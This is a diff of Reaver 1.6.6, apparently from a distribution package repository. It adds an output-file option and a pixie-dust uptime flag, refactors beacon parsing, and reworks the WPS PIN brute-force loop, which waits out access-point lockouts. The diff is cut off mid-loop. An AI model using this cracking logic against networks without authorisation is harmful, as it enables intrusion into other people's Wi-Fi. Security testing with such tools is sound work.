Codebase list reaver / a99dd94e-b478-42cc-be3c-6ff7913f1380/upstream
Import upstream version 1.6.6 Kali Janitor 3 years ago
36 changed file(s) with 1443 addition(s) and 679 deletion(s). Raw diff Collapse all Expand all
2222 ## Build-time dependencies
2323
2424 - libpcap-dev
25 - build-essentials
25 - build-essential
2626
2727 ## Runtime-time dependencies
2828
138138 -u, --survey Use survey mode [default]
139139 -a, --all Show all APs, even those without WPS
140140 -j, --json print extended WPS info as json
141 -p, --progress Show percentage of crack progress
141142 -h, --help Show help
142143
143144 Example:
3535 #include "send.h"
3636 #include "utils/radiotap.h"
3737 #include "crc.h"
38 #include "pcapfile.h"
3839 #include <libwps.h>
3940 #include <assert.h>
4041
6566
6667 memcpy(header, pkt_header, sizeof(*header));
6768
69 int fd;
70 if((fd = get_output_fd()) != -1)
71 pcapfile_write_packet(fd, header, packet);
72
6873 if(get_validate_fcs() && !check_fcs(packet, header->len)) {
6974 if(!warning_shown)
7075 cprintf(INFO, "[!] Found packet with bad FCS, skipping...\n");
7883 return (void*)packet;
7984 }
8085
86 #define BEACON_SIZE(rth_len) (rth_len + sizeof(struct dot11_frame_header) + sizeof(struct beacon_management_frame))
87 /* probe responses, just like beacons, start their management frame packet with the same
88 fixed parameters of size 12 */
89 #define PROBE_RESP_SIZE(rth_len) BEACON_SIZE(rth_len)
90
91 /* return 1 if beacon, -1 if probe response */
92 /* additionally populates frameheader and management frame pointers */
93 int is_management_frame(
94 /* input params */
95 const struct pcap_pkthdr *header,
96 unsigned const char *packet,
97 /* output */
98 const struct dot11_frame_header **fh,
99 const struct beacon_management_frame **mf
100 ) {
101 struct radio_tap_header *rt_header = (void *) radio_header(packet, header->len);
102 size_t rt_header_len = end_le16toh(rt_header->len);
103 if(header->len < BEACON_SIZE(rt_header_len))
104 return 0;
105
106 *fh = (void *) (packet + rt_header_len);
107 unsigned f_type = (*fh)->fc & end_htole16(IEEE80211_FCTL_FTYPE);
108 unsigned fsub_type = (*fh)->fc & end_htole16(IEEE80211_FCTL_STYPE);
109
110 int is_management_frame = f_type == end_htole16(IEEE80211_FTYPE_MGMT);
111 int is_beacon = is_management_frame && fsub_type == end_htole16(IEEE80211_STYPE_BEACON);
112 int is_probe_resp = is_management_frame && fsub_type == end_htole16(IEEE80211_STYPE_PROBE_RESP);
113
114 if(is_management_frame) *mf = (void *) (packet + rt_header_len + sizeof(struct dot11_frame_header));
115
116 if(is_beacon) return 1;
117 if(is_probe_resp) return -1;
118 return 0;
119 }
120
121 unsigned char* next_management_frame(
122 struct pcap_pkthdr *header,
123 const struct dot11_frame_header **fh,
124 const struct beacon_management_frame **mf,
125 int *type
126 ) {
127 unsigned char *packet;
128 while((packet = next_packet(header))) {
129 if((*type = is_management_frame(header, packet, fh, mf))) break;
130 }
131 return packet;
132 }
133 unsigned char* next_beacon(
134 struct pcap_pkthdr *header,
135 const struct dot11_frame_header **fh,
136 const struct beacon_management_frame **mf
137 ) {
138 unsigned char *packet; int type;
139 while((packet = next_management_frame(header, fh, mf, &type))) {
140 if(type == 1) break;
141 }
142 return packet;
143 }
144
145
81146 /*
82147 * Waits for a beacon packet from the target AP and populates the globule->ap_capabilities field.
83148 * This is used for obtaining the capabilities field and AP SSID.
84149 */
85150 void read_ap_beacon()
86151 {
87 struct pcap_pkthdr header;
88 const unsigned char *packet = NULL;
89 struct radio_tap_header *rt_header = NULL;
90 struct dot11_frame_header *frame_header = NULL;
91 struct beacon_management_frame *beacon = NULL;
92 int channel = 0;
93 size_t tag_offset = 0;
94 time_t start_time = 0;
152 struct pcap_pkthdr header;
153 const unsigned char *packet;
154 const struct dot11_frame_header *frame_header;
155 const struct beacon_management_frame *beacon;
156 time_t start_time = time(NULL);
95157
96158 set_ap_capability(0);
97 start_time = time(NULL);
98
99 while(get_ap_capability() == 0)
100 {
101 packet = next_packet(&header);
102 if(packet == NULL)
103 {
104 break;
105 }
106
107 if(header.len >= MIN_BEACON_SIZE)
108 {
109 rt_header = (struct radio_tap_header *) radio_header(packet, header.len);
110 size_t rt_header_len = end_le16toh(rt_header->len);
111 frame_header = (struct dot11_frame_header *) (packet + rt_header_len);
112
113 if(is_target(frame_header))
159
160 while((packet = next_packet(&header))) {
161 int type = is_management_frame(&header, packet, &frame_header, &beacon);
162 if(type != 1 || !is_target(frame_header)) {
163 /* If we haven't seen any beacon packets from the target within BEACON_WAIT_TIME seconds, try another channel */
164 if((time(NULL) - start_time) >= BEACON_WAIT_TIME)
114165 {
115 if((frame_header->fc & end_htole16(IEEE80211_FCTL_FTYPE | IEEE80211_FCTL_STYPE)) ==
116 end_htole16(IEEE80211_FTYPE_MGMT | IEEE80211_STYPE_BEACON))
117 {
118 beacon = (struct beacon_management_frame *) (packet + rt_header_len + sizeof(struct dot11_frame_header));
119 set_ap_capability(end_le16toh(beacon->capability));
120
121 /* Obtain the SSID and channel number from the beacon packet */
122 tag_offset = rt_header_len + sizeof(struct dot11_frame_header) + sizeof(struct beacon_management_frame);
123 channel = parse_beacon_tags(packet, header.len);
124
125 /* If no channel was manually specified, switch to the AP's current channel */
126 if(!get_fixed_channel() && get_auto_channel_select() && channel > 0 && channel != get_channel())
127 {
128 change_channel(channel);
129 set_channel(channel);
130 }
131
132 break;
133 }
166 next_channel();
167 start_time = time(NULL);
134168 }
135 }
136
137 /* If we haven't seen any beacon packets from the target within BEACON_WAIT_TIME seconds, try another channel */
138 if((time(NULL) - start_time) >= BEACON_WAIT_TIME)
139 {
140 next_channel();
141 start_time = time(NULL);
142 }
169 continue;
170 }
171
172 set_ap_capability(end_le16toh(beacon->capability));
173
174 /* Obtain the SSID and channel number from the beacon packet */
175 int channel = parse_beacon_tags(packet, header.len);
176 /* If no channel was manually specified, switch to the AP's current channel */
177 if(!get_fixed_channel() && get_auto_channel_select() && channel > 0 && channel != get_channel())
178 {
179 change_channel(channel);
180 set_channel(channel);
181 }
182 break;
143183 }
144184 }
145185
186 int freq_to_chan (uint16_t freq) {
187 if (freq >= 2412 && freq <= 2472) {
188 return (freq - 2407) / 5;
189 } else if (freq == 2484) {
190 return 14;
191 } else if (freq >= 4900 && freq < 5000) {
192 return (freq - 4000) / 5;
193 } else if (freq >= 5000 && freq < 5900) {
194 return (freq - 5000) / 5;
195 } else if (freq >= 56160 + 2160 * 1 && freq <= 56160 + 2160 * 4) {
196 return (freq - 56160) / 2160;
197 }
198 return 0;
199 }
200
146201 #include "radiotap_flags.h"
147202
148 /* Extracts the signal strength field (if any) from the packet's radio tap header */
149 int8_t signal_strength(const unsigned char *packet, size_t len)
203 /* readbuf must be of sufficient len to read the full flag, maximal 4 chars. */
204 static int get_radiotap_flag(const unsigned char *packet, size_t len, unsigned flagnumber, unsigned char* readbuf)
150205 {
151206 if(has_rt_header() && (len > (sizeof(struct radio_tap_header))))
152207 {
153208 uint32_t offset, presentflags;
154209 if(!rt_get_presentflags(packet, len, &presentflags, &offset))
155210 return 0;
156 if(!(presentflags & (1U << IEEE80211_RADIOTAP_DBM_ANTSIGNAL)))
211 if(!(presentflags & (1U << flagnumber)))
157212 return 0;
158 offset = rt_get_flag_offset(presentflags, IEEE80211_RADIOTAP_DBM_ANTSIGNAL, offset);
159 if (offset < len)
160 return (int8_t) packet[offset];
161 }
162
213 offset = rt_get_flag_offset(presentflags, flagnumber, offset);
214 if (offset + ieee80211_radiotap_type_size[flagnumber] < len) {
215 memcpy(readbuf, packet+offset, ieee80211_radiotap_type_size[flagnumber]);
216 return 1;
217 }
218 }
219
220 return 0;
221 }
222
223
224 /* Extracts the channel frequency from the packet's radio tap header */
225 uint16_t rt_channel_freq(const unsigned char *packet, size_t len)
226 {
227 unsigned char readbuf[4];
228 /* the lower 2 byte of the channel flag seems to contain channel type, i.e. ABG.
229 but we need to read all 4. */
230 uint16_t result;
231 if(get_radiotap_flag(packet, len, IEEE80211_RADIOTAP_CHANNEL, readbuf)) {
232 memcpy(&result, readbuf, 2);
233 return end_le32toh(result);
234 }
235 return 0;
236 }
237
238 /* Extracts the signal strength field (if any) from the packet's radio tap header */
239 int8_t signal_strength(const unsigned char *packet, size_t len)
240 {
241 unsigned char readbuf[1];
242 if(get_radiotap_flag(packet, len, IEEE80211_RADIOTAP_DBM_ANTSIGNAL, readbuf))
243 return (int8_t) readbuf[0];
163244 return 0;
164245 }
165246
166247 /*
167248 * Determines if the target AP has locked its WPS state or not.
168 * Returns 0 if not locked, 1 if locked.
249 * Returns 0 if not locked, 1 if locked, -1 if wps has been turned off
250 * pass data of a valid beacon packet
169251 */
170 int is_wps_locked()
171 {
172 int locked = 0;
252 int is_wps_locked(const struct pcap_pkthdr *header, const unsigned char *packet)
253 {
173254 struct libwps_data wps = { 0 };
174 struct pcap_pkthdr header;
175 const unsigned char *packet = NULL;
176 struct radio_tap_header *rt_header = NULL;
177 struct dot11_frame_header *frame_header = NULL;
178
179 while(1)
180 {
181 packet = next_packet(&header);
182 if(packet == NULL)
183 {
184 break;
185 }
186
187 if(header.len >= MIN_BEACON_SIZE)
188 {
189 rt_header = (struct radio_tap_header *) radio_header(packet, header.len);
190 size_t rt_header_len = end_le16toh(rt_header->len);
191 frame_header = (struct dot11_frame_header *) (packet + rt_header_len);
192
193 if(memcmp(frame_header->addr3, get_bssid(), MAC_ADDR_LEN) == 0)
194 {
195 if((frame_header->fc & end_htole16(IEEE80211_FCTL_FTYPE | IEEE80211_FCTL_STYPE)) ==
196 end_htole16(IEEE80211_FTYPE_MGMT | IEEE80211_STYPE_BEACON))
197 {
198 if(parse_wps_parameters(packet, header.len, &wps))
199 {
200 if(wps.locked == WPSLOCKED)
201 {
202 locked = 1;
203 }
204 break;
205 }
206 }
207
208 }
209 }
210 }
211
212 return locked;
255 if(parse_wps_parameters(packet, header->len, &wps)) {
256 if(wps.locked == WPSLOCKED) return 1;
257 return 0;
258 }
259 return -1;
213260 }
214261
215262
624671 if(len >= sizeof(*rt_header))
625672 {
626673 uint32_t presentflags, flags;
674 /* only check FCS if the flag IEEE80211_RADIOTAP_F_FCS is set in
675 in IEEE80211_RADIOTAP_FLAGS. the packets we generate ourselves
676 do not have any of these flags set and would cause false positives
677 */
627678 if(!rt_get_presentflags(packet, len, &presentflags, &offset))
628 goto skip;
679 return 1;
629680 if(!(presentflags & (1U << IEEE80211_RADIOTAP_FLAGS)))
630 goto skip;
681 return 1;
631682 offset = rt_get_flag_offset(presentflags, IEEE80211_RADIOTAP_FLAGS, offset);
632683 if(offset < len) {
633684 memcpy(&flags, packet + offset, 4);
638689 return 1;
639690 }
640691
641 skip:
642692 rt_header = (struct radio_tap_header *) packet;
643693 offset = end_le16toh(rt_header->len);
644694
665715 }
666716
667717 /* Checks a given BSSID to see if it's on our target list */
668 int is_target(struct dot11_frame_header *frame_header)
669 {
670 int yn = 1;
671
672 if(memcmp(get_bssid(), NULL_MAC, MAC_ADDR_LEN) != 0)
673 {
674 if(memcmp(frame_header->addr3, get_bssid(), MAC_ADDR_LEN) != 0)
675 {
676 yn = 0;
677 }
678 }
679
680 return yn;
718 int is_target(const struct dot11_frame_header *frame_header)
719 {
720 return !memcmp(frame_header->addr3, get_bssid(), MAC_ADDR_LEN);
681721 }
682722
683723 /* Make best guess to determine if a radio tap header is present */
697737 * Returns a pointer to the radio tap header. If there is no radio tap header,
698738 * it returns a pointer to a dummy radio tap header.
699739 */
740 #define FAKE_RADIO_TAP_HEADER "\0\0\0\0" "\0\0\0\0" "\0\0\0\0" "\0\0\0\0" "\0\0\0\0"
700741 unsigned char *radio_header(const unsigned char *packet, size_t len)
701742 {
702 if(has_rt_header())
743 if(len >= 8 && has_rt_header())
703744 {
704745 return (void*)packet;
705746 }
6565 #define FC_ORDER 0x80
6666
6767 #define RADIO_TAP_VERSION 0x00
68 #define FAKE_RADIO_TAP_HEADER "\x00\x00\x00\x00\x00\x00\x00\x00"
6968
7069 #define MIN_AUTH_SIZE (sizeof(struct radio_tap_header) + sizeof(struct dot11_frame_header) + sizeof(struct authentication_management_frame))
7170
7473
7574 unsigned char *next_packet(struct pcap_pkthdr *header);
7675 void read_ap_beacon();
76 int freq_to_chan (uint16_t freq);
77 uint16_t rt_channel_freq(const unsigned char *packet, size_t len);
7778 int8_t signal_strength(const unsigned char *packet, size_t len);
78 int is_wps_locked();
79 int is_wps_locked(const struct pcap_pkthdr *header, const unsigned char *packet);
7980 int reassociate(void);
8081 enum encryption_type supported_encryption(const unsigned char *packet, size_t len);
8182 int parse_beacon_tags(const unsigned char *data, size_t len);
8283 unsigned char *parse_ie_data(const unsigned char *data, size_t len, uint8_t tag_number, size_t *ie_len, size_t *ie_offset);
83 int is_target(struct dot11_frame_header *frame_header);
84 int is_target(const struct dot11_frame_header *frame_header);
8485 int has_rt_header(void);
8586 unsigned char *radio_header(const unsigned char *packet, size_t len);
86
87 unsigned char* next_beacon(
88 struct pcap_pkthdr *header,
89 const struct dot11_frame_header **fh,
90 const struct beacon_management_frame **mf
91 );
8792 #endif
9292 $(TLS_OBJS) $(CRYPTO_OBJS) $(LWE_OBJS)
9393
9494
95 PROG_OBJS=argsparser.o globule.o init.o sigint.o iface.o sigalrm.o \
96 misc.o cracker.o session.o send.o pins.o 80211.o exchange.o builder.o \
97 keys.o crc.o pixie.o wpscrack.o wpsmon.o main.o version.o
95 MAIN_OBJS=globule.o init.o sigint.o iface.o sigalrm.o \
96 misc.o session.o send.o pins.o 80211.o builder.o \
97 keys.o crc.o pixie.o version.o pcapfile.o
98
99 PROG_OBJS=$(MAIN_OBJS) exchange.o argsparser.o wpscrack.o wpsmon.o cracker.o main.o
98100
99101 # Version of the Wireless Tools
100102 WT_VERSION := $(shell sed -ne "/WT_VERSION/{s:\([^0-9]*\)::;p;q;}" < lwe/iwlib.h )
117119 ln -sf ./reaver wash
118120
119121 reaver: $(PROG_OBJS) $(LIB_OBJS)
120 $(CC) $(CFLAGS) $(INC) $(PROG_OBJS) $(LIB_OBJS) $(LDFLAGS) -o reaver
122 $(CC) $(CFLAGS) $(INC) $(PROG_OBJS) $(LIB_OBJS) $(LDFLAGS) -lpthread -o reaver
123
124 extest.o: exchange.c
125 $(CC) $(CFLAGS) -g3 -O0 -DEX_TEST -c exchange.c -o extest.o
126 extest: extest.o $(LIB_OBJS) $(MAIN_OBJS)
127 $(CC) $(LIB_OBJS) extest.o $(MAIN_OBJS) $(LDFLAGS) -o extest
121128
122129 version.o: version.h
123130 version.h: $(wildcard $(srcdir)/VERSION $(srcdir)/../.git)
140147 rm -f $(LIB_OBJS) $(PROG_OBJS)
141148 rm -f $(GENH)
142149
143 distclean: clean
144 rm -rf $(CONFDIR)
150 .PHONY: all clean install
145151
146 .PHONY: all clean distclean install
147
0 1.6.5
0 1.6.6
3333 #include <stdio.h>
3434 #include <getopt.h>
3535 #include <ctype.h>
36 #include <fcntl.h>
3637 #include "globule.h"
3738 #include "defs.h"
3839 #include "iface.h"
4849 int long_opt_index = 0;
4950 char bssid[MAC_ADDR_LEN] = { 0 };
5051 char mac[MAC_ADDR_LEN] = { 0 };
51 char *short_options = "b:e:m:i:t:d:c:T:x:r:g:l:p:s:C:KZA5ELfnqvDShwN6JF";
52 char *short_options = "b:e:m:i:t:d:c:T:x:r:g:l:p:s:C:O:KZA5ELfnqvDShwN6JFu";
5253 struct option long_options[] = {
5354 { "pixie-dust", no_argument, NULL, 'K' },
5455 { "interface", required_argument, NULL, 'i' },
8182 { "help", no_argument, NULL, 'h' },
8283 { "timeout-is-nack", no_argument, NULL, 'J' },
8384 { "ignore-fcs", no_argument, NULL, 'F' },
85 { "output-file", required_argument, NULL, 'O'},
8486 { 0, 0, 0, 0 }
8587 };
88
89 set_output_fd(-1);
8690
8791 /* Since this function may be called multiple times, be sure to set opt index to 0 each time */
8892 optind = 0;
9195 {
9296 switch(c)
9397 {
98 case 'O':
99 {
100 int ofd = open(optarg, O_WRONLY|O_CREAT|O_TRUNC, 0660);
101 set_output_fd(ofd);
102 if(ofd == -1) perror("open outputfile failed: ");
103 }
104 break;
94105 case 'Z':
95106 case 'K':
96 pixie.do_pixie = 1;
97 break;
107 pixie.do_pixie = 1;
108 set_max_pin_attempts(1);
109 break;
110 case 'u':
111 pixie.use_uptime = 1;
112 break;
98113 case 'i':
99114 set_iface(optarg);
100115 break;
133148 break;
134149 case 'p':
135150 parse_static_pin(optarg);
151 set_max_pin_attempts(1);
136152 break;
137153 case 's':
138154 set_session(optarg);
265281 char p1[5] = { 0 };
266282 char p2[4] = { 0 };
267283
268 if(pin)
284 len = strlen(pin);
285
286 if((len == 4 || len == 7 || len == 8) && is_valid_pin(pin) != 0)
269287 {
270 len = strlen(pin);
271
272 if((len == 4 || len == 7 || len == 8) && is_valid_pin(pin) != 0)
288 memcpy((void *) &p1, pin, sizeof(p1)-1);
289 set_static_p1((char *) &p1);
290
291 if(len > 4)
273292 {
274 memcpy((void *) &p1, pin, sizeof(p1)-1);
275 set_static_p1((char *) &p1);
276 set_key_status(KEY2_WIP);
277
278 if(len > 4)
279 {
280 memcpy((void *) &p2, pin+sizeof(p1)-1, sizeof(p2)-1);
281 set_static_p2((char *) &p2);
282 }
283 }
284 else
285 {
286 //cprintf(CRITICAL, "[X] ERROR: Invalid pin specified! Ignoring '%s'.\n", pin);
287 set_max_pin_attempts(1);
288 set_pin_string_mode(1);
289 set_static_p1(pin);
293 memcpy((void *) &p2, pin+sizeof(p1)-1, sizeof(p2)-1);
294 set_static_p2((char *) &p2);
290295 }
291296 }
292 }
293
297 else
298 {
299 set_pin_string_mode(1);
300 set_static_p1(pin);
301 }
302 }
303
3333 #include "builder.h"
3434 #include <assert.h>
3535
36 size_t build_radio_tap_header(struct radio_tap_header *rt_header)
37 {
38 memcpy(rt_header, "\0\0" "\x08\0" "\0\0\0\0", 8);
39 return sizeof(*rt_header);
40 }
41
42 size_t build_dot11_frame_header_m(struct dot11_frame_header *fh, uint16_t fc, unsigned char dstmac[6])
36 size_t build_radio_tap_header(void *rt_header)
37 {
38 #ifdef RADIOTAP_HEADER_WITH_RATE
39 #define RADIOTAP_HEADER_LENGTH \
40 "\x0c\0" /* header length */
41 #define RADIOTAP_HEADER_PRESENT_FLAGS \
42 "\x04\x80\0\0" /* present flags: rate & tx flags */
43 #define RADIOTAP_HEADER_RATE_OPTION \
44 "\0\0" /* rate, padding */
45 #else
46 #define RADIOTAP_HEADER_LENGTH \
47 "\x0a\0" /* header length */
48 #define RADIOTAP_HEADER_PRESENT_FLAGS \
49 "\x00\x80\0\0" /* present flags: tx flags */
50 #define RADIOTAP_HEADER_RATE_OPTION ""
51 #endif
52
53 #define RADIOTAP_HEADER \
54 "\0\0" /* version */ \
55 RADIOTAP_HEADER_LENGTH \
56 RADIOTAP_HEADER_PRESENT_FLAGS \
57 RADIOTAP_HEADER_RATE_OPTION \
58 "\x18\0" /* TX flags: F_TX_NOACK | F_TX_NOSEQ */
59
60 memcpy(rt_header, RADIOTAP_HEADER, sizeof(RADIOTAP_HEADER)-1);
61 return sizeof(RADIOTAP_HEADER)-1;
62 }
63
64 static size_t build_dot11_frame_header_m(struct dot11_frame_header *fh, uint16_t fc, unsigned char dstmac[6])
4365 {
4466 static uint16_t frag_seq;
4567
46 frag_seq += SEQ_MASK;
47
48 fh->duration = end_htole16(DEFAULT_DURATION);
68 fh->duration = end_htole16(52); /* DEFAULT_DURATION */
4969 fh->fc = end_htole16(fc);
5070 fh->frag_seq = end_htole16(frag_seq);
5171
5272 memcpy(fh->addr1, dstmac, MAC_ADDR_LEN);
5373 memcpy(fh->addr2, get_mac(), MAC_ADDR_LEN);
5474 memcpy(fh->addr3, dstmac, MAC_ADDR_LEN);
75
76 frag_seq += 0x10; /* SEQ_MASK */
5577
5678 return sizeof *fh;
5779 }
4242 #define WPS_TAG_SIZE 14
4343 #define WPS_REGISTRAR_TAG "\x00\x50\xF2\x04\x10\x4A\x00\x01\x10\x10\x3A\x00\x01\x02"
4444
45 #define DEFAULT_DURATION 52
46
4745 #define DOT1X_VERSION 0x01
4846 #define DOT1X_START 0x01
4947
5149 #define FC_STANDARD 0x0108
5250
5351 #define LLC_SNAP 0xAA
54 #define SEQ_MASK 0x10
5552
5653 #define LISTEN_INTERVAL 0x0064
5754 #define OPEN_SYSTEM 0
6461 #define IW_ESSID_MAX_SIZE 32
6562 #endif
6663
67 size_t build_radio_tap_header(struct radio_tap_header *rt_header);
64 size_t build_radio_tap_header(void *rt_header);
6865 size_t build_dot11_frame_header(struct dot11_frame_header *fh, uint16_t fc);
6966 size_t build_association_management_frame(struct association_request_management_frame *f);
7067 size_t build_authentication_management_frame(struct authentication_management_frame *f);
00 #! /bin/sh
11 # Guess values for system-dependent variables and create Makefiles.
2 # Generated by GNU Autoconf 2.69 for reaver 1.6.5.
2 # Generated by GNU Autoconf 2.69 for reaver 1.6.6.
33 #
44 #
55 # Copyright (C) 1992-1996, 1998-2012 Free Software Foundation, Inc.
576576 # Identity of this package.
577577 PACKAGE_NAME='reaver'
578578 PACKAGE_TARNAME='reaver'
579 PACKAGE_VERSION='1.6.5'
580 PACKAGE_STRING='reaver 1.6.5'
579 PACKAGE_VERSION='1.6.6'
580 PACKAGE_STRING='reaver 1.6.6'
581581 PACKAGE_BUGREPORT=''
582582 PACKAGE_URL=''
583583
12221222 # Omit some internal or obsolete options to make the list less imposing.
12231223 # This message is too long to be a string in the A/UX 3.1 sh.
12241224 cat <<_ACEOF
1225 \`configure' configures reaver 1.6.5 to adapt to many kinds of systems.
1225 \`configure' configures reaver 1.6.6 to adapt to many kinds of systems.
12261226
12271227 Usage: $0 [OPTION]... [VAR=VALUE]...
12281228
12831283
12841284 if test -n "$ac_init_help"; then
12851285 case $ac_init_help in
1286 short | recursive ) echo "Configuration of reaver 1.6.5:";;
1286 short | recursive ) echo "Configuration of reaver 1.6.6:";;
12871287 esac
12881288 cat <<\_ACEOF
12891289
13711371 test -n "$ac_init_help" && exit $ac_status
13721372 if $ac_init_version; then
13731373 cat <<\_ACEOF
1374 reaver configure 1.6.5
1374 reaver configure 1.6.6
13751375 generated by GNU Autoconf 2.69
13761376
13771377 Copyright (C) 2012 Free Software Foundation, Inc.
16691669 This file contains any messages produced by compilers while
16701670 running configure, to aid debugging if configure makes a mistake.
16711671
1672 It was created by reaver $as_me 1.6.5, which was
1672 It was created by reaver $as_me 1.6.6, which was
16731673 generated by GNU Autoconf 2.69. Invocation command line was
16741674
16751675 $ $0 $@
38863886 # report actual input values of CONFIG_FILES etc. instead of their
38873887 # values after options handling.
38883888 ac_log="
3889 This file was extended by reaver $as_me 1.6.5, which was
3889 This file was extended by reaver $as_me 1.6.6, which was
38903890 generated by GNU Autoconf 2.69. Invocation command line was
38913891
38923892 CONFIG_FILES = $CONFIG_FILES
39393939 cat >>$CONFIG_STATUS <<_ACEOF || ac_write_fail=1
39403940 ac_cs_config="`$as_echo "$ac_configure_args" | sed 's/^ //; s/[\\""\`\$]/\\\\&/g'`"
39413941 ac_cs_version="\\
3942 reaver config.status 1.6.5
3942 reaver config.status 1.6.6
39433943 configured by $0, generated by GNU Autoconf 2.69,
39443944 with options \\"\$ac_cs_config\\"
39453945
1010 };
1111
1212 void cprintf(enum debug_level level, const char *fmt, ...);
13 void cprintf_mute();
14 void cprintf_unmute();
15 int cprintf_ismuted();
1316
1417 #endif
3131 */
3232
3333 #include "cracker.h"
34 #include "pixie.h"
3435 #include "utils/vendor.h"
36
37 void update_wpc_from_pin(void) {
38 /* update WPC file with found pin */
39 pixie.do_pixie = 0;
40 /* reset string pin mode if -p "" was used */
41 set_pin_string_mode(0);
42 /* clean static pin if -p [PIN] was used */
43 set_static_p2(NULL);
44 parse_static_pin(get_pin());
45
46 /* check the pin is valid WPS pin, if exist static p2 then is valid WPS pin */
47 if (get_static_p2()) {
48 enum key_state key_status = get_key_status();
49 /* reset key status for sort p1 and p2 */
50 set_key_status(KEY1_WIP);
51 /* sort pin into current index of p1 and p2 array */
52 if (jump_p1_queue(get_static_p1()) > 0) {
53 cprintf(VERBOSE, "[+] Updated P1 array\n");
54 }
55 if (jump_p2_queue(get_static_p2()) > 0) {
56 cprintf(VERBOSE, "[+] Updated P2 array\n");
57 }
58 /* restore key status after sorted p1 and p2 */
59 set_key_status((key_status == KEY_DONE)?KEY_DONE:KEY2_WIP);
60 }
61 }
62
63 static void extract_uptime(const struct beacon_management_frame *beacon)
64 {
65 uint64_t timestamp;
66 memcpy(&timestamp, beacon->timestamp, 8);
67 globule->uptime = end_le64toh(timestamp);
68 }
3569
3670 /* Brute force all possible WPS pins for a given access point */
3771 void crack()
5791 /* Initialize network interface */
5892 set_handle(capture_init(get_iface()));
5993
60 if(get_handle() != NULL)
61 {
62 generate_pins();
63
64 /* Restore any previously saved session */
65 if(get_static_p1() == NULL)
66 {
67 restore_session();
68 }
69
70 /* Convert BSSID to a string */
71 bssid = mac2str(get_bssid(), ':');
72
94 if(get_handle() == NULL) {
95 cprintf(CRITICAL, "[-] Failed to initialize interface '%s'\n", get_iface());
96 return;
97 }
98 generate_pins();
99
100 /* Restore any previously saved session */
101 if(get_static_p1() == NULL || !get_pin_string_mode())
102 {
103 /* Check the specified 4/8 digit WPS PIN has been already tried */
104 if (restore_session() == -1) return;
105 }
106
107 /* Convert BSSID to a string */
108 bssid = mac2str(get_bssid(), ':');
109
110 /*
111 * We need to get some basic info from the AP, and also want to make sure the target AP
112 * actually exists, so wait for a beacon packet
113 */
114 cprintf(INFO, "[+] Waiting for beacon from %s\n", bssid);
115 read_ap_beacon();
116 cprintf(INFO, "[+] Received beacon from %s\n", bssid);
117 char *vendor;
118 if((vendor = get_vendor_string(get_vendor())))
119 cprintf(INFO, "[+] Vendor: %s\n", vendor);
120
121 /* I'm fairly certian there's a reason I put this in twice. Can't remember what it was now though... */
122 if(get_max_pin_attempts() == -1)
123 {
124 cprintf(CRITICAL, "[X] ERROR: This device has been blacklisted and is not supported.\n");
125 return;
126 }
127
128 #if 0
129 /* This initial association is just to make sure we can successfully associate */
130 while(!reassociate()) {
131 if(assoc_fail_count == MAX_ASSOC_FAILURES)
132 {
133 assoc_fail_count = 0;
134 cprintf(CRITICAL, "[!] WARNING: Failed to associate with %s (ESSID: %s)\n", bssid, get_ssid());
135 }
136 else
137 {
138 assoc_fail_count++;
139 }
140 }
141 #endif
142
143 /* Used to calculate pin attempt rates */
144 start_time = time(NULL);
145
146 /* If the key status hasn't been explicitly set by restore_session(), ensure that it is set to KEY1_WIP */
147 if(get_key_status() <= KEY1_WIP)
148 {
149 set_key_status(KEY1_WIP);
150 }
151 /*
152 * If we're starting a session at KEY_DONE, that means we've already cracked the pin and the AP is being re-attacked.
153 * Re-set the status to KEY2_WIP so that we properly enter the main cracking loop.
154 */
155 else if(get_key_status() == KEY_DONE)
156 {
157 set_key_status(KEY2_WIP);
158 }
159
160 /* Main cracking loop */
161 for(loop_count=0, sleep_count=0; get_key_status() != KEY_DONE; loop_count++, sleep_count++)
162 {
73163 /*
74 * We need to get some basic info from the AP, and also want to make sure the target AP
75 * actually exists, so wait for a beacon packet
164 * Some APs may do brute force detection, or might not be able to handle an onslaught of WPS
165 * registrar requests. Using a delay here can help prevent the AP from locking us out.
76166 */
77 cprintf(INFO, "[+] Waiting for beacon from %s\n", bssid);
78 read_ap_beacon();
79 cprintf(INFO, "[+] Received beacon from %s\n", bssid);
80 char *vendor;
81 if((vendor = get_vendor_string(get_vendor())))
82 cprintf(INFO, "[+] Vendor: %s\n", vendor);
83 /* I'm fairly certian there's a reason I put this in twice. Can't remember what it was now though... */
84 if(get_max_pin_attempts() == -1)
85 {
86 cprintf(CRITICAL, "[X] ERROR: This device has been blacklisted and is not supported.\n");
87 return;
88 }
89
90 #if 0
91 /* This initial association is just to make sure we can successfully associate */
92 while(!reassociate())
93 {
167 pcap_sleep(get_delay());
168
169 /* Users may specify a delay after x number of attempts */
170 if((get_recurring_delay() > 0) && (sleep_count == get_recurring_delay_count()))
171 {
172 cprintf(VERBOSE, "[+] Entering recurring delay of %d seconds\n", get_recurring_delay());
173 pcap_sleep(get_recurring_delay());
174 sleep_count = 0;
175 }
176
177 /*
178 * Some APs identify brute force attempts and lock themselves for a short period of time (typically 5 minutes).
179 * Verify that the AP is not locked before attempting the next pin.
180 */
181 int locked_status = 0;
182 while(1) {
183 struct pcap_pkthdr header;
184 const unsigned char *packet;
185 const struct dot11_frame_header *frame_header;
186 const struct beacon_management_frame *beacon;
187 while((packet = next_beacon(&header, &frame_header, &beacon))) {
188 if(is_target(frame_header)) break;
189 }
190 if(!packet) break;
191 /* since we have to wait for a beacon anyway, we also
192 use it to update the router's timeout */
193 locked_status = is_wps_locked(&header, packet);
194 extract_uptime(beacon);
195 if(locked_status == 1 && get_ignore_locks() == 0) {
196 cprintf(WARNING, "[!] WARNING: Detected AP rate limiting, waiting %d seconds before re-checking\n", get_lock_delay());
197 pcap_sleep(get_lock_delay());
198 continue;
199 }
200 break;
201 }
202 if(locked_status == -1) {
203 cprintf(WARNING, "[!] AP seems to have WPS turned off\n");
204 }
205
206 /* Initialize wps structure */
207 set_wps(initialize_wps_data());
208 if(!get_wps())
209 {
210 cprintf(CRITICAL, "[-] Failed to initialize critical data structure\n");
211 break;
212 }
213
214 /* Try the next pin in the list */
215 pin = build_next_pin();
216 if(!pin)
217 {
218 cprintf(CRITICAL, "[-] Failed to generate the next payload\n");
219 break;
220 }
221 else
222 {
223 cprintf(WARNING, "[+] Trying pin \"%s\"\n", pin);
224 }
225
226 /*
227 * Reassociate with the AP before each WPS exchange. This is necessary as some APs will
228 * severely limit our pin attempt rate if we do not.
229 */
230 assoc_fail_count = 0;
231 while(!reassociate()) {
94232 if(assoc_fail_count == MAX_ASSOC_FAILURES)
95233 {
96234 assoc_fail_count = 0;
